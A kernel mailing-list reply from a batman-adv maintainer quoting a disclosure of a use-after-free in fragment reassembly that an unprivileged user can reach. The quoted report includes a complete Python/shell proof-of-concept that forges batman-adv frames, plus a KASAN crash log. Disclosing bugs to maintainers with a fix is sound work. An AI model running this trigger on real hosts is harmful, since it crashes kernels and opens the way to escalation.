From: Sven Eckelmann <sven@narfation.org>
To: b.a.t.m.a.n@lists.open-mesh.org, Zhiling Zou <zhilinz@nebusec.ai>
Cc: marek.lindner@mailbox.org, sw@simonwunderlich.de,
antonio@mandelbit.com, martin@hundeboll.net, vega@nebusec.ai,
zhilinz@nebusec.ai
Subject: Re: [PATCH net 0/1] batman-adv: fix stale receive device on merged fragments
Date: Thu, 30 Jul 2026 19:40:52 +0200 [thread overview]
Message-ID: <6702093.lOV4Wx5bFT@sven-desktop> (raw)
In-Reply-To: <cover.1785431207.git.zhilinz@nebusec.ai>
[-- Attachment #1: Type: text/plain, Size: 31206 bytes --]
On Thursday, 30 July 2026 19:22:47 CEST Zhiling Zou wrote:
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/batman-adv/fragmentation.c. The bug is
> reachable by a non-root user via user and net namespace.
>
> We've tested the fix, and it should not affect normal functionality.
>
> We will provide detailed information about the bug in this email, along with a
> PoC to trigger it.
We already explained this to you. This is not for net.git and thus you should not mark it as "[PATCH net...]".
>
> ---- details below ----
>
> Bug details:
>
> batadv_frag_insert_packet() buffers fragment skbs and later reuses the
> highest-numbered buffered skb as the merged packet. If that skb arrived on hard
> interface A and A is deleted before the remaining fragments arrive on
> interface B, the merged skb re-enters batadv_batman_skb_recv() with the stale
> skb->dev and skb_iif from A.
>
> DAT and bridge loop avoidance derive ARP parsing state from skb->dev, so the
> reconstructed packet can reach batadv_arp_get_type() and dereference the freed
> net_device before it is delivered to the local mesh interface.
>
> Reproducer:
>
> chmod +x ./poc.sh
> unshare -Urn env -i PATH=/usr/sbin:/usr/bin:/sbin:/bin ./poc.sh
>
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN poc.sh------
>
> #!/bin/sh
> set -eu
>
> : "${WAIT_AFTER_SETUP:=1.5}"
> : "${WAIT_AFTER_OGM:=0.5}"
> : "${WAIT_AFTER_HIGH:=0.5}"
> : "${WAIT_AFTER_DELETE:=6.0}"
> : "${WAIT_AFTER_MID:=6.0}"
> : "${WAIT_AFTER_LOW:=1.0}"
> : "${PHY_DEST_MODE:=tb}"
> : "${DELETE_IFACE:=ta}"
> : "${SEQNO:=0x1234}"
>
> export WAIT_AFTER_SETUP
> export WAIT_AFTER_OGM
> export WAIT_AFTER_HIGH
> export WAIT_AFTER_DELETE
> export WAIT_AFTER_MID
> export WAIT_AFTER_LOW
> export PHY_DEST_MODE
> export DELETE_IFACE
> export SEQNO
>
> python3 - "$@" <<'PY'
> import os
> import re
> import socket
> import struct
> import subprocess
> import time
>
> BATADV_IV_OGM = 0x00
> BATADV_UNICAST = 0x40
> BATADV_UNICAST_FRAG = 0x41
> BATADV_COMPAT_VERSION = 15
> ETH_P_BATMAN = 0x4305
> ETH_P_ARP = 0x0806
> ARPOP_REQUEST = 1
>
>
> def env_float(name: str) -> float:
> return float(os.environ[name])
>
>
> def env_int(name: str) -> int:
> return int(os.environ[name], 0)
>
>
> WAIT_AFTER_SETUP = env_float("WAIT_AFTER_SETUP")
> WAIT_AFTER_OGM = env_float("WAIT_AFTER_OGM")
> WAIT_AFTER_HIGH = env_float("WAIT_AFTER_HIGH")
> WAIT_AFTER_DELETE = env_float("WAIT_AFTER_DELETE")
> WAIT_AFTER_MID = env_float("WAIT_AFTER_MID")
> WAIT_AFTER_LOW = env_float("WAIT_AFTER_LOW")
> PHY_DEST_MODE = os.environ["PHY_DEST_MODE"]
> DELETE_IFACE = os.environ["DELETE_IFACE"]
> SEQNO = env_int("SEQNO")
>
>
> def run(cmd: str) -> None:
> subprocess.run(cmd, shell=True, check=True)
>
>
> def output(cmd: str) -> str:
> return subprocess.check_output(cmd, shell=True, text=True).strip()
>
>
> def mac_bytes(text: str) -> bytes:
> return bytes(int(part, 16) for part in text.split(":"))
>
>
> def ip_bytes(text: str) -> bytes:
> return socket.inet_aton(text)
>
>
> def iface_mac(name: str) -> bytes:
> text = output(f"ip -o link show dev {name}")
> match = re.search(r"link/ether ([0-9a-f:]{17})", text)
> if not match:
> raise SystemExit(f"failed to parse MAC for {name}: {text}")
> return mac_bytes(match.group(1))
>
>
> def send_frame(iface: str, dst: bytes, src: bytes, payload: bytes) -> None:
> sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
> try:
> sock.bind((iface, 0))
> frame = dst + src + struct.pack("!H", ETH_P_BATMAN) + payload
> sock.send(frame)
> finally:
> sock.close()
>
>
> def ogm_packet(orig: bytes, seqno: int = 1) -> bytes:
> return struct.pack(
> "!BBBBI6s6sBBH",
> BATADV_IV_OGM,
> BATADV_COMPAT_VERSION,
> 50,
> 0,
> seqno,
> orig,
> orig,
> 0,
> 0xFF,
> 0,
> )
>
>
> def frag_packet(no: int, dest: bytes, orig: bytes, seqno: int,
> total_size: int, payload: bytes) -> bytes:
> flags = (no & 0xF) << 4
> return struct.pack(
> "!BBBB6s6sHH",
> BATADV_UNICAST_FRAG,
> BATADV_COMPAT_VERSION,
> 50,
> flags,
> dest,
> orig,
> seqno,
> total_size,
> ) + payload
>
>
> def merged_unicast_arp(dest_mac: bytes) -> bytes:
> inner_src = mac_bytes("02:11:22:33:44:55")
> inner_eth = b"\xff" * 6 + inner_src + struct.pack("!H", ETH_P_ARP)
> arp = struct.pack(
> "!HHBBH6s4s6s4s",
> 1,
> 0x0800,
> 6,
> 4,
> ARPOP_REQUEST,
> inner_src,
> ip_bytes("192.0.2.1"),
> b"\x00" * 6,
> ip_bytes("192.0.2.2"),
> )
> uni = struct.pack(
> "!BBBB6s",
> BATADV_UNICAST,
> BATADV_COMPAT_VERSION,
> 50,
> 0,
> dest_mac,
> )
> return uni + inner_eth + arp
>
>
> def cleanup() -> None:
> for dev in ("bat0", "ta", "tb"):
> run(f"ip link del {dev} 2>/dev/null || true")
>
>
> cleanup()
> run("ip link add ta type veth peer name aa")
> run("ip link add tb type veth peer name bb")
> run("ip link add bat0 type batadv")
> run("ip link set ta master bat0")
> run("ip link set tb master bat0")
> for dev in ("bat0", "ta", "tb", "aa", "bb"):
> run(f"ip link set {dev} up")
>
> time.sleep(WAIT_AFTER_SETUP)
>
> mac_ta = iface_mac("ta")
> mac_tb = iface_mac("tb")
> fake_orig = mac_bytes("02:aa:bb:cc:dd:01")
>
> if PHY_DEST_MODE == "ta":
> phy_dest = mac_ta
> elif PHY_DEST_MODE == "tb":
> phy_dest = mac_tb
> else:
> raise SystemExit(f"unsupported PHY_DEST_MODE={PHY_DEST_MODE}")
>
> send_frame("aa", b"\xff" * 6, fake_orig, ogm_packet(fake_orig))
> time.sleep(WAIT_AFTER_OGM)
>
> merged = merged_unicast_arp(mac_tb)
> parts = (merged[:20], merged[20:36], merged[36:])
>
> send_frame("aa", phy_dest, fake_orig,
> frag_packet(2, mac_tb, fake_orig, SEQNO, len(merged), parts[0]))
> time.sleep(WAIT_AFTER_HIGH)
>
> run(f"ip link del {DELETE_IFACE}")
> time.sleep(WAIT_AFTER_DELETE)
>
> send_frame("bb", mac_tb, fake_orig,
> frag_packet(1, mac_tb, fake_orig, SEQNO, len(merged), parts[1]))
> time.sleep(WAIT_AFTER_MID)
>
> send_frame("bb", mac_tb, fake_orig,
> frag_packet(0, mac_tb, fake_orig, SEQNO, len(merged), parts[2]))
> time.sleep(WAIT_AFTER_LOW)
> PY
>
> ------END poc.sh--------
>
> ----BEGIN crash log----
>
> [ 234.446245] [ C0] BUG: KASAN: slab-use-after-free in batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043)
> [ 234.446350] [ C0] Read of size 2 at addr ffff88807cd19230 by task python3/10420
>
> [ 234.446408] [ C0] CPU: 0 UID: 0 PID: 10420 Comm: python3 Not tainted 6.12.95 #2
> [ 234.446431] [ C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [ 234.446441] [ C0] Call Trace:
> [ 234.446455] [ C0] <IRQ>
> [ 234.446469] [ C0] dump_stack_lvl (build/../lib/dump_stack.c:118 (discriminator 2))
> [ 234.446517] [ C0] print_report (build/../include/linux/mm.h:1903 build/../mm/kasan/report.c:289 build/../mm/kasan/report.c:376 build/../mm/kasan/report.c:482)
> [ 234.446574] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043)
> [ 234.446583] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.446608] [ C0] ? __virt_addr_valid (build/../include/linux/instrumented.h:82 build/../include/asm-generic/bitops/instrumented-non-atomic.h:141 build/../include/linux/mmzone.h:2214 build/../include/linux/mmzone.h:2290 build/../arch/x86/mm/physaddr.c:54)
> [ 234.446649] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043)
> [ 234.446658] [ C0] kasan_report (build/../mm/kasan/report.c:593)
> [ 234.446673] [ C0] ? batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043)
> [ 234.446694] [ C0] batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261 build/../net/batman-adv/distributed-arp-table.c:1043)
> [ 234.446704] [ C0] ? __pfx_batadv_orig_hash_find (build/../net/batman-adv/originator.c:537 (discriminator 2))
> [ 234.446729] [ C0] batadv_dat_snoop_incoming_arp_request (build/../net/batman-adv/distributed-arp-table.c:1074 build/../net/batman-adv/distributed-arp-table.c:1236)
> [ 234.446737] [ C0] ? batadv_bla_is_backbone_gw (build/../net/batman-adv/bridge_loop_avoidance.c:1787)
> [ 234.446752] [ C0] batadv_recv_unicast_packet (build/../include/linux/skbuff.h:2996 build/../include/linux/skbuff.h:3149 build/../include/linux/if_ether.h:27 build/../net/batman-adv/routing.c:971)
> [ 234.446771] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.446786] [ C0] batadv_batman_skb_recv (build/../arch/x86/include/asm/atomic.h:23 build/../include/linux/atomic/atomic-arch-fallback.h:457 build/../include/linux/atomic/atomic-instrumented.h:33 build/../net/batman-adv/main.c:443)
> [ 234.446798] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533)
> [ 234.446812] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.446818] [ C0] ? batadv_is_my_mac (build/../include/linux/etherdevice.h:357 build/../include/linux/etherdevice.h:409 build/../net/batman-adv/main.h:263 build/../net/batman-adv/main.c:301)
> [ 234.446835] [ C0] batadv_recv_frag_packet (build/../net/batman-adv/routing.c:1098)
> [ 234.446848] [ C0] ? __pfx_batadv_recv_frag_packet (build/../include/linux/skbuff.h:1724)
> [ 234.446886] [ C0] ? __pfx_mark_lock (build/../kernel/locking/lockdep.c:4021)
> [ 234.446922] [ C0] ? __pfx___lock_acquire (build/../kernel/locking/lockdep.c:4397 (discriminator 11))
> [ 234.446937] [ C0] batadv_batman_skb_recv (build/../arch/x86/include/asm/atomic.h:23 build/../include/linux/atomic/atomic-arch-fallback.h:457 build/../include/linux/atomic/atomic-instrumented.h:33 build/../net/batman-adv/main.c:443)
> [ 234.446949] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533)
> [ 234.446960] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.446967] [ C0] ? lock_acquire.part.0+0x119/0x370
> [ 234.446978] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.446989] [ C0] ? __pfx_batadv_batman_skb_recv (build/../include/linux/skbuff.h:2533)
> [ 234.446998] [ C0] ? process_backlog (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../net/core/dev.c:6665 (discriminator 1))
> [ 234.447045] [ C0] __netif_receive_skb_one_core (build/../net/core/dev.c:6205)
> [ 234.447056] [ C0] ? __pfx___netif_receive_skb_one_core (build/../net/core/dev.c:6244)
> [ 234.447070] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447077] [ C0] ? lock_acquire (build/../kernel/locking/lockdep.c:5828)
> [ 234.447084] [ C0] ? process_backlog (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../net/core/dev.c:6665 (discriminator 1))
> [ 234.447100] [ C0] process_backlog (build/../include/linux/rcupdate.h:871 build/../net/core/dev.c:6667)
> [ 234.447122] [ C0] __napi_poll.constprop.0 (build/../net/core/dev.c:7730)
> [ 234.447137] [ C0] net_rx_action (build/../net/core/dev.c:6621 build/../net/core/dev.c:7974)
> [ 234.447162] [ C0] ? __pfx_net_rx_action (build/../net/core/dev.c:13182 (discriminator 2))
> [ 234.447258] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447268] [ C0] ? clockevents_program_event (build/../kernel/time/clockevents.c:353 (discriminator 2))
> [ 234.447294] [ C0] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9))
> [ 234.447347] [ C0] handle_softirqs (build/../include/linux/kernel_stat.h:62 (discriminator 1) build/../kernel/softirq.c:619 (discriminator 1))
> [ 234.447386] [ C0] ? __pfx_handle_softirqs (build/../kernel/softirq.c:405)
> [ 234.447398] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447405] [ C0] ? irqtime_account_irq (build/../kernel/sched/cputime.c:59 (discriminator 2))
> [ 234.447432] [ C0] ? __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807)
> [ 234.447444] [ C0] do_softirq (build/../kernel/softirq.c:523 (discriminator 20) build/../kernel/softirq.c:510 (discriminator 20))
> [ 234.447454] [ C0] </IRQ>
> [ 234.447458] [ C0] <TASK>
> [ 234.447463] [ C0] __local_bh_enable_ip (build/../kernel/softirq.c:457 (discriminator 1))
> [ 234.447473] [ C0] ? __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807)
> [ 234.447481] [ C0] __dev_queue_xmit (build/../include/linux/filter.h:796 build/../net/core/dev.c:4534 build/../net/core/dev.c:4807)
> [ 234.447495] [ C0] ? __might_fault (build/../mm/memory.c:7324 (discriminator 1))
> [ 234.447523] [ C0] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9))
> [ 234.447542] [ C0] ? __pfx___dev_queue_xmit (build/../include/linux/netdevice.h:4010 (discriminator 1))
> [ 234.447556] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447563] [ C0] ? _copy_from_iter (build/../include/linux/iov_iter.h:27 build/../include/linux/iov_iter.h:302 build/../include/linux/iov_iter.h:330 build/../lib/iov_iter.c:261 build/../lib/iov_iter.c:272)
> [ 234.447611] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447629] [ C0] ? packet_parse_headers (build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866 build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672 build/../net/packet/af_packet.c:1936)
> [ 234.447663] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447669] [ C0] ? packet_parse_headers (build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866 build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672 build/../net/packet/af_packet.c:1936)
> [ 234.447684] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447691] [ C0] ? __check_object_size (build/../include/linux/mm.h:2973 build/../mm/usercopy.c:200 build/../mm/usercopy.c:258 build/../mm/usercopy.c:223)
> [ 234.447714] [ C0] ? __pfx_sock_alloc_send_pskb (build/../net/core/sock.c:2830 (discriminator 2))
> [ 234.447750] [ C0] ? __pfx_packet_parse_headers (build/../include/net/dst.h:285)
> [ 234.447761] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447769] [ C0] ? skb_copy_datagram_from_iter (build/../net/core/datagram.c:561)
> [ 234.447791] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447808] [ C0] packet_sendmsg (build/../net/packet/af_packet.c:3045 (discriminator 1) build/../net/packet/af_packet.c:3114 (discriminator 1))
> [ 234.447834] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447843] [ C0] ? ref_tracker_alloc (build/../include/linux/list.h:161 build/../include/linux/list.h:177 build/../lib/ref_tracker.c:280)
> [ 234.447881] [ C0] ? __pfx___might_resched (build/../kernel/sched/core.c:5888 (discriminator 7))
> [ 234.447901] [ C0] ? __pfx___lock_acquire (build/../kernel/locking/lockdep.c:4397 (discriminator 11))
> [ 234.447916] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447923] [ C0] ? aa_sk_perm+0x1d8/0x8d0
> [ 234.447964] [ C0] ? __pfx_packet_sendmsg (build/../arch/x86/include/asm/atomic.h:23)
> [ 234.447987] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.447994] [ C0] ? apparmor_socket_sendmsg+0x2e/0x200
> [ 234.448021] [ C0] __sys_sendto (build/../net/socket.c:787 (discriminator 2) build/../net/socket.c:802 (discriminator 2) build/../net/socket.c:2265 (discriminator 2))
> [ 234.448038] [ C0] ? __pfx___sys_sendto (build/../net/socket.c:2219)
> [ 234.448045] [ C0] ? __local_bh_enable_ip (build/../kernel/softirq.c:457 (discriminator 1))
> [ 234.448054] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.448060] [ C0] ? lockdep_hardirqs_on (build/../kernel/locking/lockdep.c:4472)
> [ 234.448102] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.448108] [ C0] ? __sys_bind (build/../net/socket.c:1933 (discriminator 2) build/../net/socket.c:1925 (discriminator 2) build/../net/socket.c:1964 (discriminator 2))
> [ 234.448150] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.448167] [ C0] __x64_sys_sendto (build/../net/socket.c:2272 build/../net/socket.c:2268 build/../net/socket.c:2268)
> [ 234.448177] [ C0] ? do_syscall_64 (build/../include/linux/entry-common.h:144 (discriminator 1) build/../include/linux/entry-common.h:178 (discriminator 1) build/../arch/x86/entry/syscall_64.c:89 (discriminator 1))
> [ 234.448192] [ C0] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
> [ 234.448199] [ C0] ? lockdep_hardirqs_on (build/../kernel/locking/lockdep.c:4472)
> [ 234.448209] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
> [ 234.448225] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
> [ 234.448241] [ C0] RIP: 0033:0x7ff350f43687
> [ 234.448267] [ C0] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
> All code
> ========
> 0: 48 89 fa mov %rdi,%rdx
> 3: 4c 89 df mov %r11,%rdi
> 6: e8 58 b3 00 00 call 0xb363
> b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx
> 11: 59 pop %rcx
> 12: 5e pop %rsi
> 13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax
> 17: 74 1a je 0x33
> 19: 5b pop %rbx
> 1a: c3 ret
> 1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
> 22: 00
> 23: 48 8b 44 24 10 mov 0x10(%rsp),%rax
> 28: 0f 05 syscall
> 2a:* 5b pop %rbx <-- trapping instruction
> 2b: c3 ret
> 2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
> 33: 83 e2 39 and $0x39,%edx
> 36: 83 fa 08 cmp $0x8,%edx
> 39: 75 de jne 0x19
> 3b: e8 23 ff ff ff call 0xffffffffffffff63
>
> Code starting with the faulting instruction
> ===========================================
> 0: 5b pop %rbx
> 1: c3 ret
> 2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
> 9: 83 e2 39 and $0x39,%edx
> c: 83 fa 08 cmp $0x8,%edx
> f: 75 de jne 0xffffffffffffffef
> 11: e8 23 ff ff ff call 0xffffffffffffff39
> [ 234.448279] [ C0] RSP: 002b:00007ffedeb93690 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
> [ 234.448306] [ C0] RAX: ffffffffffffffda RBX: 00007ff350eaf780 RCX: 00007ff350f43687
> [ 234.448312] [ C0] RDX: 0000000000000032 RSI: 00007ff3508499d0 RDI: 0000000000000003
> [ 234.448317] [ C0] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
> [ 234.448321] [ C0] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
> [ 234.448325] [ C0] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
> [ 234.448353] [ C0] </TASK>
>
> [ 234.448571] [ C0] Allocated by task 10434:
> [ 234.448590] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57)
> [ 234.448610] [ C0] kasan_save_track (build/../mm/kasan/common.c:78)
> [ 234.448623] [ C0] __kasan_kmalloc (build/../mm/kasan/common.c:398 build/../mm/kasan/common.c:415)
> [ 234.448635] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:4756 (discriminator 1) build/../mm/slub.c:4883 (discriminator 1) build/../mm/slub.c:5294 (discriminator 1) build/../mm/slub.c:5301 (discriminator 1))
> [ 234.448658] [ C0] alloc_netdev_mqs (build/../net/core/dev.c:12019)
> [ 234.448677] [ C0] rtnl_create_link (build/../net/core/rtnetlink.c:3652)
> [ 234.448694] [ C0] __rtnl_newlink+0xd20/0x14f0
> [ 234.448708] [ C0] rtnl_newlink (build/../net/core/rtnetlink.c:4000)
> [ 234.448721] [ C0] rtnetlink_rcv_msg (build/../net/core/rtnetlink.c:6984)
> [ 234.448733] [ C0] netlink_rcv_skb (build/../net/netlink/af_netlink.c:2547)
> [ 234.448766] [ C0] netlink_unicast (build/../include/linux/instrumented.h:112 build/../include/linux/atomic/atomic-instrumented.h:104 build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344)
> [ 234.448778] [ C0] netlink_sendmsg (build/../net/netlink/af_netlink.c:1875)
> [ 234.448790] [ C0] ____sys_sendmsg (build/../net/socket.c:790 (discriminator 1) build/../net/socket.c:2695 (discriminator 1))
> [ 234.448802] [ C0] ___sys_sendmsg (build/../net/socket.c:2749)
> [ 234.448815] [ C0] __sys_sendmsg (build/../net/socket.c:593 build/../net/socket.c:2780)
> [ 234.448828] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
> [ 234.448842] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
>
> [ 234.448879] [ C0] Freed by task 10659:
> [ 234.448890] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57)
> [ 234.448903] [ C0] kasan_save_track (build/../mm/kasan/common.c:78)
> [ 234.448915] [ C0] kasan_save_free_info (build/../mm/kasan/generic.c:584)
> [ 234.448934] [ C0] __kasan_slab_free (build/../mm/kasan/common.c:249 build/../mm/kasan/common.c:285)
> [ 234.448947] [ C0] kfree (build/../mm/slub.c:5807 (discriminator 3) build/../mm/slub.c:6253 (discriminator 3) build/../mm/slub.c:6565 (discriminator 3))
> [ 234.448959] [ C0] device_release (build/../drivers/gpu/drm/vkms/vkms_configfs.c:749)
> [ 234.449008] [ C0] kobject_put (build/../lib/kobject.c:677 build/../lib/kobject.c:720 build/../include/linux/kref.h:65 build/../lib/kobject.c:737)
> [ 234.449027] [ C0] netdev_run_todo (build/../net/core/dev.c:11716 (discriminator 2))
> [ 234.449045] [ C0] rtnetlink_rcv_msg (build/../net/core/rtnetlink.c:6984)
> [ 234.449069] [ C0] netlink_rcv_skb (build/../net/netlink/af_netlink.c:2547)
> [ 234.449081] [ C0] netlink_unicast (build/../include/linux/instrumented.h:112 build/../include/linux/atomic/atomic-instrumented.h:104 build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344)
> [ 234.449093] [ C0] netlink_sendmsg (build/../net/netlink/af_netlink.c:1875)
> [ 234.449105] [ C0] ____sys_sendmsg (build/../net/socket.c:790 (discriminator 1) build/../net/socket.c:2695 (discriminator 1))
> [ 234.449117] [ C0] ___sys_sendmsg (build/../net/socket.c:2749)
> [ 234.449130] [ C0] __sys_sendmsg (build/../net/socket.c:593 build/../net/socket.c:2780)
> [ 234.449143] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
> [ 234.449156] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
>
> [ 234.449178] [ C0] The buggy address belongs to the object at ffff88807cd19000
> which belongs to the cache kmalloc-cg-4k of size 4096
> [ 234.449196] [ C0] The buggy address is located 560 bytes inside of
> freed 4096-byte region [ffff88807cd19000, ffff88807cd1a000)
>
> [ 234.449217] [ C0] The buggy address belongs to the physical page:
> [ 234.449234] [ C0] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88807cd1c000 pfn:0x7cd18
> [ 234.449265] [ C0] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
> [ 234.449276] [ C0] memcg:ffff88801b8a9b51
> [ 234.449286] [ C0] flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
> [ 234.449312] [ C0] page_type: f5(slab)
> [ 234.449335] [ C0] raw: 00fff00000000240 ffff888100050f40 ffffea000452aa10 ffffea0004464c10
> [ 234.449347] [ C0] raw: ffff88807cd1c000 0000000000020001 00000001f5000000 ffff88801b8a9b51
> [ 234.449359] [ C0] head: 00fff00000000240 ffff888100050f40 ffffea000452aa10 ffffea0004464c10
> [ 234.449370] [ C0] head: ffff88807cd1c000 0000000000020001 00000001f5000000 ffff88801b8a9b51
> [ 234.449381] [ C0] head: 00fff00000000003 ffffea0001f34601 ffffffffffffffff 0000000000000000
> [ 234.449392] [ C0] head: 0000000700000008 0000000000000000 00000000ffffffff 0000000000000000
> [ 234.449401] [ C0] page dumped because: kasan: bad access detected
> [ 234.449416] [ C0] page_owner tracks the page as allocated
> [ 234.450282] [ C0] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10382, tgid 10382 (systemd), ts 209620171625, free_ts 207177527654
> [ 234.452951] [ C0] post_alloc_hook (build/../mm/page_alloc.c:6932)
> [ 234.452990] [ C0] get_page_from_freelist (build/../mm/page_alloc.c:3815 (discriminator 1))
> [ 234.453004] [ C0] __alloc_pages_noprof (build/../mm/internal.h:876 (discriminator 1) build/../mm/page_alloc.c:5272 (discriminator 1))
> [ 234.453017] [ C0] alloc_pages_mpol_noprof+0x1ab/0x4d0
> [ 234.453041] [ C0] new_slab (build/../mm/slub.c:882 build/../mm/slub.c:2291 build/../mm/slub.c:3497 build/../mm/slub.c:3525)
> [ 234.453053] [ C0] ___slab_alloc (build/../include/linux/kasan.h:263 build/../mm/slub.c:5419)
> [ 234.453065] [ C0] __slab_alloc.isra.0+0x5b/0xb0
> [ 234.453077] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:2458 (discriminator 1) build/../mm/slub.c:4580 (discriminator 1) build/../mm/slub.c:4898 (discriminator 1) build/../mm/slub.c:5294 (discriminator 1) build/../mm/slub.c:5301 (discriminator 1))
> [ 234.453090] [ C0] seq_read_iter (build/../fs/seq_file.c:252)
> [ 234.453117] [ C0] vfs_read (build/../include/linux/ioprio.h:41 build/../include/linux/ioprio.h:71 build/../include/linux/ioprio.h:84 build/../include/linux/fs.h:2195 build/../fs/read_write.c:489 build/../fs/read_write.c:574)
> [ 234.453139] [ C0] ksys_read (build/../fs/read_write.c:714)
> [ 234.453150] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
> [ 234.453165] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
> [ 234.453178] [ C0] page last free pid 10382 tgid 10382 stack trace:
> [ 234.454069] [ C0] free_unref_page+0x6a3/0x1050
> [ 234.454083] [ C0] qlist_free_all (build/../mm/kasan/quarantine.c:176)
> [ 234.454097] [ C0] kasan_quarantine_reduce (build/../mm/kasan/quarantine.c:286)
> [ 234.454109] [ C0] __kasan_krealloc (build/../mm/kasan/common.c:441)
